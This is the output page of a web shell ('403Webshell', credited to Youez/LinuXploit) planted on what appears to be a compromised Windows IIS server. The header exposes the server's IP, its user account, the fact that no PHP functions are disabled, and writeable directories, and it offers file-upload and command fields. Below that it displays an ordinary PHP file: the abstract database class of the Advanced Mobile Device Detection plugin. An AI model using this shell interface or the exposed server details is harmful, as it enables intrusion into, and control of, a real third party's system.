403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.127
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/plugins/mobile/amdd/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/plugins/mobile/amdd/database//database.php
<?php
/**
 * Advanced Mobile Device Detection
 *
 * @version		1.2.9
 * @license		GNU/GPL v2 - http://www.gnu.org/licenses/gpl-2.0.html
 * @copyright	(C) 2008-2014 Kuneri Ltd.
 * @date		June 2014
 */

class AmddDatabaseException extends Exception { }

abstract class AmddDatabase
{
	/**
	 * get instance of database object
	 * @static
	 * @param string $handlerName
	 * @return AmddDatabase
	 * @throws AmddDatabaseException
	 */
	public static function getInstance($handlerName)
	{
		static $handlers = array();

		$handlerName = strtolower($handlerName);

		if(!isset($handlers[$handlerName]))
		{
			$className = 'AmddDatabase'.$handlerName;
			if(!class_exists($className, false))
			{
				$path = dirname(__FILE__)."/{$handlerName}/db.{$handlerName}.php";
				if(!is_file($path))
					throw new AmddDatabaseException('File not found: '.$path, 1);
				require_once $path;
				if(!class_exists($className))
					throw new AmddDatabaseException('Class not found: '.$className, 1);
			}
			$handlers[$handlerName] = new $className;
		}

		return $handlers[$handlerName];
	}

	/**
	 * (re)create database tables
	 */
	public function createTables(){}

	/**
	 * Get device data from main table
	 * @param string $ua device User-Agent header
	 * @return string json-encoded device capabilities (null if not found)
	 */
	public function getDevice($ua){return null;}

	/**
	 * Get list of devices for group from main table
	 * @param string $group device group
	 * @return array list of objects with ua and data fields
	 */
	public function getDevices($group){return null;}

	/**
	 * Put device to main table
	 * @param string $group device group
	 * @param string $ua device User-Agent header
	 * @param string $data json-encoded device capabilities
	 */
	public function putDevice($group, $ua, $data){}

	/**
	 * Get device from cache table
	 * @param string $ua device User-Agent header
	 * @return string json-encoded device capabilities (null if not found)
	 */
	public function getDeviceFromCache($ua){return null;}

	/**
	 * Put device to cache table
	 * @param string $ua device User-Agent header
	 * @param string $data json-encoded device capabilities
	 * @param integer $limit cache size (0 = disabled, -1 = infinite)
	 */
	public function putDeviceToCache($ua, $data, $limit = 0){}

	/**
	 * Clear cache table
	 */
	public function clearCache(){}
}

Youez - 2016 - github.com/yon3zu
LinuXploit